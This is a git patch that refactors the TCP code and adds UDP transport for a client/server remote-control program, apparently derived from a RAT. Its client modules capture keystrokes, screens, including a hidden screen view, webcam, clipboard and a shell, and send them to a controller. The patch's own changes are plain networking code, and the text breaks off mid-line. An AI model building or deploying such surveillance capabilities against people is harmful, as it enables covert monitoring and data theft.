From 017a8c8fa2965da9f830db65ebde9d0888586ae0 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 29 Jun 2025 21:25:59 +0800 Subject: [PATCH] layout: Reorganize TCP client/server code --- client/AudioManager.cpp | 4 +- client/ClientDll.cpp | 7 +- client/ClientDll_vs2015.vcxproj | 2 + client/IOCPClient.cpp | 33 +- client/IOCPClient.h | 76 +-- client/IOCPUDPClient.cpp | 60 ++ client/IOCPUDPClient.h | 16 + client/KernelManager.cpp | 17 +- client/KernelManager.h | 3 + client/Manager.cpp | 4 +- client/RegisterManager.cpp | 6 +- client/ScreenManager.cpp | 8 +- client/ServicesManager.cpp | 2 +- client/ShellManager.cpp | 4 +- client/SystemManager.cpp | 4 +- client/TalkManager.cpp | 6 +- client/VideoManager.cpp | 4 +- client/ghost_vs2015.vcxproj | 2 + server/2015Remote/2015Remote.cpp | 1 + server/2015Remote/2015Remote.h | 2 +- server/2015Remote/2015RemoteDlg.cpp | 34 +- server/2015Remote/2015RemoteDlg.h | 4 +- server/2015Remote/2015Remote_vs2015.vcxproj | 5 +- .../2015Remote_vs2015.vcxproj.filters | 5 +- server/2015Remote/AudioDlg.cpp | 6 +- server/2015Remote/AudioDlg.h | 2 +- server/2015Remote/Chat.cpp | 10 +- server/2015Remote/Chat.h | 2 +- server/2015Remote/CpuUseage.cpp | 55 -- server/2015Remote/CpuUseage.h | 34 -- server/2015Remote/DecryptDlg.cpp | 2 +- server/2015Remote/DecryptDlg.h | 2 +- server/2015Remote/FileManagerDlg.cpp | 32 +- server/2015Remote/FileManagerDlg.h | 4 +- server/2015Remote/HideScreenSpyDlg.cpp | 2 +- server/2015Remote/HideScreenSpyDlg.h | 2 +- server/2015Remote/IOCPServer.cpp | 30 - server/2015Remote/IOCPServer.h | 517 +++--------------- server/2015Remote/IOCPUDPServer.cpp | 164 ++++++ server/2015Remote/IOCPUDPServer.h | 46 ++ server/2015Remote/KeyBoardDlg.cpp | 8 +- server/2015Remote/KeyBoardDlg.h | 2 +- server/2015Remote/RegisterDlg.cpp | 4 +- server/2015Remote/RegisterDlg.h | 2 +- server/2015Remote/ScreenSpyDlg.cpp | 12 +- server/2015Remote/ScreenSpyDlg.h | 2 +- server/2015Remote/Server.h | 418 ++++++++++++++ server/2015Remote/ServicesDlg.cpp | 6 +- server/2015Remote/ServicesDlg.h | 2 +- server/2015Remote/ShellDlg.cpp | 6 +- server/2015Remote/ShellDlg.h | 2 +- server/2015Remote/SystemDlg.cpp | 18 +- server/2015Remote/SystemDlg.h | 2 +- server/2015Remote/TalkDlg.cpp | 6 +- server/2015Remote/TalkDlg.h | 2 +- server/2015Remote/VideoDlg.cpp | 8 +- server/2015Remote/VideoDlg.h | 2 +- server/2015Remote/file/CFileManagerDlg.cpp | 70 +-- server/2015Remote/file/CFileManagerDlg.h | 2 +- server/2015Remote/proxy/ProxyMapDlg.cpp | 55 +- server/2015Remote/proxy/ProxyMapDlg.h | 9 +- server/2015Remote/sys/MachineDlg.cpp | 54 +- server/2015Remote/sys/MachineDlg.h | 2 +- server/2015Remote/sys/ServiceInfoDlg.cpp | 2 +- server/2015Remote/sys/ServiceInfoDlg.h | 2 +- 65 files changed, 1074 insertions(+), 843 deletions(-) create mode 100644 client/IOCPUDPClient.cpp create mode 100644 client/IOCPUDPClient.h delete mode 100644 server/2015Remote/CpuUseage.cpp delete mode 100644 server/2015Remote/CpuUseage.h create mode 100644 server/2015Remote/IOCPUDPServer.cpp create mode 100644 server/2015Remote/IOCPUDPServer.h create mode 100644 server/2015Remote/Server.h diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 4079f32..107aa94 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -25,7 +25,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag } BYTE bToken = TOKEN_AUDIO_START; - m_ClientObject->OnServerSending((char*)&bToken, 1); + m_ClientObject->Send2Server((char*)&bToken, 1); WaitForDialogOpen(); //等待对话框打开 szPacket = NULL; @@ -84,7 +84,7 @@ BOOL CAudioManager::SendRecordBuffer() //发送出去 if (dwBufferSize > 0) { - dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1); + dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1); } return dwReturn; } diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 5d2d557..e33e47b 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -11,7 +11,10 @@ #define CLIENT_PARALLEL_NUM 1 // 远程地址 -CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION}; +CONNECT_ADDRESS g_SETTINGS = { + FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, + FALSE, Startup_DLL, NULL, PROTO_TCP, RUNNING_RANDOM, +}; // 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员. // 因此全局来看只有一个全局变量: g_MyApp @@ -480,7 +483,7 @@ DWORD WINAPI StartClient(LPVOID lParam) settings.SetServer(list[0].c_str(), settings.ServerPort()); } State& bExit(app.g_bExit); - IOCPClient *ClientObject = new IOCPClient(bExit); + IOCPClient *ClientObject = NewNetClient(&settings, bExit); CKernelManager* Manager = nullptr; if (!app.m_bShared) { diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 31ee63d..aca5b0c 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -170,6 +170,7 @@ + @@ -200,6 +201,7 @@ + diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index ab02689..bff0084 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -98,6 +98,7 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit) { + m_ServerAddr = {}; m_nHostPort = 0; m_Manager = NULL; #ifdef _WIN32 @@ -126,12 +127,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit) IOCPClient::~IOCPClient() { m_bIsRunning = FALSE; - - if (m_sClientSocket!=INVALID_SOCKET) - { - closesocket(m_sClientSocket); - m_sClientSocket = INVALID_SOCKET; - } + Disconnect(); if (m_hWorkThread!=NULL) { @@ -210,13 +206,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) } #ifdef _WIN32 - //构造sockaddr_in结构 也就是主控端的结构 - sockaddr_in ServerAddr; - ServerAddr.sin_family = AF_INET; //网络层 IP - ServerAddr.sin_port = htons(port); - ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str()); + m_ServerAddr.sin_family = AF_INET; + m_ServerAddr.sin_port = htons(port); + m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str()); - if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR) + if (connect(m_sClientSocket,(SOCKADDR *)&m_ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR) { if (m_sClientSocket!=INVALID_SOCKET) { @@ -226,12 +220,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) return FALSE; } #else - sockaddr_in ServerAddr = {}; - ServerAddr.sin_family = AF_INET; // 网络层 IP - ServerAddr.sin_port = htons(port); + m_ServerAddr.sin_family = AF_INET; + m_ServerAddr.sin_port = htons(port); // 若szServerIP非数字开头,则认为是域名,需进行IP转换 // 使用 inet_pton 替代 inet_addr (inet_pton 可以支持 IPv4 和 IPv6) - if (inet_pton(AF_INET, m_sCurIP.c_str(), &ServerAddr.sin_addr) <= 0) { + if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) { Mprintf("Invalid address or address not supported\n"); return false; } @@ -244,7 +237,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) } // 连接到服务器 - if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) { + if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) { Mprintf("Connection failed\n"); close(m_sClientSocket); m_sClientSocket = -1; // 标记套接字无效 @@ -320,7 +313,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) } else if (iRet > 0) { - int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0); + int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0); if (iReceivedLength <= 0) { int a = WSAGetLastError(); @@ -496,7 +489,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl int j = 0; for (; j < ulSendRetry; ++j) { - iReturn = send(m_sClientSocket, Travel, ulSplitLength, 0); + iReturn = SendTo(Travel, ulSplitLength, 0); if (iReturn > 0) { break; @@ -516,7 +509,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl int j = 0; for (; j < ulSendRetry; j++) { - iReturn = send(m_sClientSocket, (char*)Travel,i,0); + iReturn = SendTo((char*)Travel,i,0); if (iReturn > 0) { diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 6c4ba4e..39c0ac6 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -2,12 +2,7 @@ // ////////////////////////////////////////////////////////////////////// -#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_) -#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_ - -#if _MSC_VER > 1000 #pragma once -#endif // _MSC_VER > 1000 #ifdef _WIN32 #include "stdafx.h" @@ -64,28 +59,18 @@ class IOCPClient public: IOCPClient(State& bExit, bool exit_while_disconnect = false); virtual ~IOCPClient(); - SOCKET m_sClientSocket; - CBuffer m_CompressedBuffer; - BOOL m_bWorkThread; - HANDLE m_hWorkThread; -#if USING_CTX - ZSTD_CCtx* m_Cctx; // 压缩上下文 - ZSTD_DCtx* m_Dctx; // 解压上下文 -#endif + int SendLoginInfo(const LOGIN_INFOR& logInfo) { LOGIN_INFOR tmp = logInfo; int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR)); return iRet; } - BOOL ConnectServer(const char* szServerIP, unsigned short uPort); - static DWORD WINAPI WorkThreadProc(LPVOID lParam); + virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort); + BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) { return OnServerSending(szBuffer, ulOriginalLength); } - VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); - BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength); - BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); void SetServerAddress(const char* szServerIP, unsigned short uPort) { m_Domain = szServerIP ? szServerIP : "127.0.0.1"; @@ -101,14 +86,8 @@ public: m_bIsRunning = FALSE; } - BOOL m_bIsRunning; - BOOL m_bConnected; - - char m_szPacketFlag[FLAG_LENGTH + 3]; - VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess); - VOID Disconnect(); VOID RunEventLoop(const BOOL &bCondition); bool IsConnected() const { return m_bConnected == TRUE; } BOOL Reconnect(void* manager) { @@ -116,14 +95,43 @@ public: if (manager) m_Manager = manager; return ConnectServer(NULL, 0); } -public: - State& g_bExit; // 全局状态量 - void* m_Manager; // 用户数据 - DataProcessCB m_DataProcess; // 处理用户数据 - DomainPool m_Domain; - std::string m_sCurIP; - int m_nHostPort; - bool m_exit_while_disconnect; -}; + State& GetState() { + return g_bExit; + } +protected: + virtual int ReceiveData(char* buffer, int bufSize, int flags) { + // TCP版本调用 recv + return recv(m_sClientSocket, buffer, bufSize - 1, 0); + } + virtual VOID Disconnect(); // 函数支持 TCP/UDP + virtual int SendTo(const char* buf, int len, int flags) { + return ::send(m_sClientSocket, buf, len, flags); + } + BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength); + static DWORD WINAPI WorkThreadProc(LPVOID lParam); + VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); + BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); -#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_) +protected: + sockaddr_in m_ServerAddr; + char m_szPacketFlag[FLAG_LENGTH + 3]; + SOCKET m_sClientSocket; + CBuffer m_CompressedBuffer; + BOOL m_bWorkThread; + HANDLE m_hWorkThread; + BOOL m_bIsRunning; + BOOL m_bConnected; + +#if USING_CTX + ZSTD_CCtx* m_Cctx; // 压缩上下文 + ZSTD_DCtx* m_Dctx; // 解压上下文 +#endif + + State& g_bExit; // 全局状态量 + void* m_Manager; // 用户数据 + DataProcessCB m_DataProcess; // 处理用户数据 + DomainPool m_Domain; + std::string m_sCurIP; + int m_nHostPort; + bool m_exit_while_disconnect; +}; diff --git a/client/IOCPUDPClient.cpp b/client/IOCPUDPClient.cpp new file mode 100644 index 0000000..5814d96 --- /dev/null +++ b/client/IOCPUDPClient.cpp @@ -0,0 +1,60 @@ +#include "IOCPUDPClient.h" + + +BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { + if (szServerIP != NULL && uPort != 0) { + SetServerAddress(szServerIP, uPort); + } + m_sCurIP = m_Domain.SelectIP(); + unsigned short port = m_nHostPort; + + // 创建 UDP socket + m_sClientSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (m_sClientSocket == INVALID_SOCKET) { + Mprintf("Failed to create UDP socket\n"); + return FALSE; + } + + // 初始化服务器地址结构 + memset(&m_ServerAddr, 0, sizeof(m_ServerAddr)); + m_ServerAddr.sin_family = AF_INET; + m_ServerAddr.sin_port = htons(port); + +#ifdef _WIN32 + m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str()); +#else + if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) { + Mprintf("Invalid address or address not supported\n"); + closesocket(m_sClientSocket); + m_sClientSocket = INVALID_SOCKET; + return FALSE; + } +#endif + + // UDP不调用 connect(),也不设置 TCP keep-alive 相关选项 + + // 创建工作线程(如果需要) + if (m_hWorkThread == NULL) { +#ifdef _WIN32 + m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL); + m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; +#else + pthread_t id = 0; + m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this); +#endif + } + + Mprintf("UDP client socket created and ready to send.\n"); + m_bConnected = TRUE; + return TRUE; +} + +int IOCPUDPClient::ReceiveData(char* buffer, int bufSize, int flags) { + sockaddr_in fromAddr; + int fromLen = sizeof(fromAddr); + return recvfrom(m_sClientSocket, buffer, bufSize - 1, flags, (sockaddr*)&fromAddr, &fromLen); +} + +int IOCPUDPClient::SendTo(const char* buf, int len, int flags) { + return ::sendto(m_sClientSocket, buf, len, flags, (sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)); +} diff --git a/client/IOCPUDPClient.h b/client/IOCPUDPClient.h new file mode 100644 index 0000000..eb4c3cd --- /dev/null +++ b/client/IOCPUDPClient.h @@ -0,0 +1,16 @@ +#pragma once +#include "IOCPClient.h" + +class IOCPUDPClient : public IOCPClient +{ +public: + IOCPUDPClient(State& bExit, bool exit_while_disconnect = false):IOCPClient(bExit, exit_while_disconnect){} + + virtual ~IOCPUDPClient(){} + + virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort) override; + + virtual int ReceiveData(char* buffer, int bufSize, int flags) override; + + virtual int SendTo(const char* buf, int len, int flags) override; +}; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 7759f70..0334fdd 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -13,11 +13,22 @@ #include "common/dllRunner.h" #include "server/2015Remote/pwd_gen.h" #include +#include "IOCPUDPClient.h" + +// UDP 协议仅能针对小包数据,且数据没有时序关联 +IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) { + if (conn->protoType == PROTO_TCP) + return new IOCPClient(bExit, exit_while_disconnect); + if (conn->protoType == PROTO_UDP) + return new IOCPUDPClient(bExit, exit_while_disconnect); + + return NULL; +} ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) { static ThreadInfo tKeyboard; tKeyboard.run = FOREVER_RUN; - tKeyboard.p = new IOCPClient(bExit, false); + tKeyboard.p = NewNetClient(conn, bExit, false); tKeyboard.conn = conn; tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); return &tKeyboard; @@ -350,7 +361,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_BYE: { BYTE bToken = COMMAND_BYE;// 被控端退出 - m_ClientObject->OnServerSending((char*)&bToken, 1); + m_ClientObject->Send2Server((char*)&bToken, 1); g_bExit = S_CLIENT_EXIT; Mprintf("======> Client exit \n"); break; @@ -359,7 +370,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case SERVER_EXIT: { BYTE bToken = SERVER_EXIT;// 主控端退出 - m_ClientObject->OnServerSending((char*)&bToken, 1); + m_ClientObject->Send2Server((char*)&bToken, 1); g_bExit = S_SERVER_EXIT; Mprintf("======> Server exit \n"); break; diff --git a/client/KernelManager.h b/client/KernelManager.h index a46546d..f058b40 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -20,6 +20,9 @@ #include #include "LoginServer.h" +// 根据配置决定采用什么通讯协议 +IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false); + ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit); class ActivityWindow { diff --git a/client/Manager.cpp b/client/Manager.cpp index 33358a3..59bbdb7 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -156,7 +156,7 @@ HDESK SelectDesktop(TCHAR* name) // Construction/Destruction ////////////////////////////////////////////////////////////////////// -CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->g_bExit) +CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState()) { m_bReady = TRUE; m_ClientObject = ClientObject; @@ -180,7 +180,7 @@ int CManager::Send(LPBYTE lpData, UINT nSize) int nRet = 0; try { - nRet = m_ClientObject->OnServerSending((char*)lpData, nSize); + nRet = m_ClientObject->Send2Server((char*)lpData, nSize); }catch(...){ Mprintf("[ERROR] CManager::Send catch an error \n"); }; diff --git a/client/RegisterManager.cpp b/client/RegisterManager.cpp index 62be6f9..9e6a6e0 100644 --- a/client/RegisterManager.cpp +++ b/client/RegisterManager.cpp @@ -13,7 +13,7 @@ CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject) { BYTE bToken=TOKEN_REGEDIT; - m_ClientObject->OnServerSending((char*)&bToken, 1); + m_ClientObject->Send2Server((char*)&bToken, 1); } CRegisterManager::~CRegisterManager() @@ -47,7 +47,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath) char *szBuffer= Opt.FindPath(); if(szBuffer!=NULL) { - m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //目录下的目录 LocalFree(szBuffer); } @@ -55,7 +55,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath) if(szBuffer!=NULL) { //目录下的文件 - m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); } } diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 25dd41c..18b9dc0 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -263,7 +263,7 @@ VOID CScreenManager::SendBitMapInfo() szBuffer[0] = TOKEN_BITMAPINFO; //这里将bmp位图结构发送出去 memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); - m_ClientObject->OnServerSending((char*)szBuffer, ulLength); + m_ClientObject->Send2Server((char*)szBuffer, ulLength); VirtualFree(szBuffer, 0, MEM_RELEASE); } @@ -360,7 +360,7 @@ VOID CScreenManager::SendClientClipboard() memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1); ::GlobalUnlock(hGlobal); ::CloseClipboard(); - m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength); + m_ClientObject->Send2Server((char*)szBuffer, iPacketLength); delete[] szBuffer; } @@ -374,7 +374,7 @@ VOID CScreenManager::SendFirstScreen() return; } - m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1); + m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1); } const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) @@ -391,7 +391,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength) VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength) { - m_ClientObject->OnServerSending(szBuffer, ulNextSendLength); + m_ClientObject->Send2Server(szBuffer, ulNextSendLength); } std::string GetTitle(HWND hWnd) { diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp index 084d621..b1becd3 100644 --- a/client/ServicesManager.cpp +++ b/client/ServicesManager.cpp @@ -26,7 +26,7 @@ VOID CServicesManager::SendServicesList() if (szBuffer == NULL) return; - m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); } diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index 1366467..cc4a451 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -97,7 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag m_hShellThreadHandle = pi.hThread; BYTE bToken = TOKEN_SHELL_START; //包含头文件 Common.h - m_ClientObject->OnServerSending((char*)&bToken, 1); + m_ClientObject->Send2Server((char*)&bToken, 1); WaitForDialogOpen(); @@ -131,7 +131,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength; int length = int(dwReturn) - This->m_nCmdLength; if (length > 0) - This->m_ClientObject->OnServerSending(pStart, length); + This->m_ClientObject->Send2Server(pStart, length); LocalFree(szTotalBuffer); } diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 4d4764d..6254cdd 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -39,7 +39,7 @@ VOID CSystemManager::SendProcessList() LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据 if (szBuffer == NULL) return; - m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); LocalFree(szBuffer); szBuffer = NULL; @@ -51,7 +51,7 @@ void CSystemManager::SendWindowsList() if (szBuffer == NULL) return; - m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //向主控端发送得到的缓冲区一会就返回了 + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //向主控端发送得到的缓冲区一会就返回了 LocalFree(szBuffer); } diff --git a/client/TalkManager.cpp b/client/TalkManager.cpp index bc618d1..52f18e5 100644 --- a/client/TalkManager.cpp +++ b/client/TalkManager.cpp @@ -27,7 +27,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager g_Event = 0; memset(g_Buffer, 0, sizeof(g_Buffer)); BYTE bToken = TOKEN_TALK_START; - m_ClientObject->OnServerSending((char*)&bToken, 1); + m_ClientObject->Send2Server((char*)&bToken, 1); WaitForDialogOpen(); Mprintf("Talk 构造\n"); } @@ -86,7 +86,7 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg, { KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW); BYTE bToken = TOKEN_TALKCMPLT; - if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1); + if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1); EndDialog(hDlg, LOWORD(wParam)); return (INT_PTR)TRUE; } @@ -140,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //时 { KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h - m_ClientObject->OnServerSending((char*)&bToken, 1); // 发送允许重新发送的指令 + m_ClientObject->Send2Server((char*)&bToken, 1); // 发送允许重新发送的指令 EndDialog(hDlg,0); } break; diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index 97c46cd..2e62646 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -103,7 +103,7 @@ void CVideoManager::SendBitMapInfor() BYTE szBuffer[dwBytesLength + 3] = { 0 }; szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO)); - m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength); + m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength); } BOOL CVideoManager::SendNextScreen() @@ -149,7 +149,7 @@ BOOL CVideoManager::SendNextScreen() } m_CapVideo.SendEnd(); //copy send - m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen); + m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen); return TRUE; } diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index d72a827..4fe4dc6 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -180,6 +180,7 @@ + @@ -210,6 +211,7 @@ + diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 8242d99..ef941c6 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -14,6 +14,7 @@ #include #include #include +#include "IOCPUDPServer.h" #pragma comment(lib, "Dbghelp.lib") CMy2015RemoteApp* GetThisApp() { diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h index b8406e0..b7e4019 100644 --- a/server/2015Remote/2015Remote.h +++ b/server/2015Remote/2015Remote.h @@ -22,7 +22,7 @@ public: CMy2015RemoteApp(); config *m_iniFile; HANDLE m_Mutex; - IOCPServer* m_iocpServer; + Server* m_iocpServer; CImageList m_pImageList_Large; //系统大图标 CImageList m_pImageList_Small; //系统小图标 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index fc98f30..ae5cdb8 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -278,7 +278,7 @@ std::vector ReadAllDllFilesWindows(const std::string& dirPath) { return result; } -CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent) +CMy2015RemoteDlg::CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent) { m_iocpServer = iocpServer; m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL); @@ -1038,7 +1038,7 @@ void CMy2015RemoteDlg::Release(){ for(int Pos = 0; Pos < n; ++Pos) { CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos); - m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE)); + m_iocpServer->Send2Client(ContextObject, &bToken, sizeof(BYTE)); } LeaveCriticalSection(&m_cs); Sleep(500); @@ -1449,7 +1449,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) continue; } // 鍙戦佽幏寰楅┍鍔ㄥ櫒鍒楄〃鏁版嵁鍖 - m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength); + m_iocpServer->Send2Client(ContextObject,szBuffer, ulLength); } LeaveCriticalSection(&m_cs); } @@ -1720,7 +1720,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) if (isClosed) { return; } - switch (ContextObject->InDeCompressedBuffer.GetBYTE(0)) + unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0); + unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen(); + + switch (cmd) { case TOKEN_GETVERSION: // 鑾峰彇鐗堟湰 { @@ -1732,7 +1735,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) resp[0] = 0; memcpy(resp+1, &dll, sizeof(DllSendData)); memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize); - m_iocpServer->OnClientPreSending(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize); + m_iocpServer->Send2Client(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize); SAFE_DELETE_ARRAY(resp); break; } @@ -1754,7 +1757,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) std::string hmac = genHMAC(hash, m_superPass); memcpy(resp + 64, 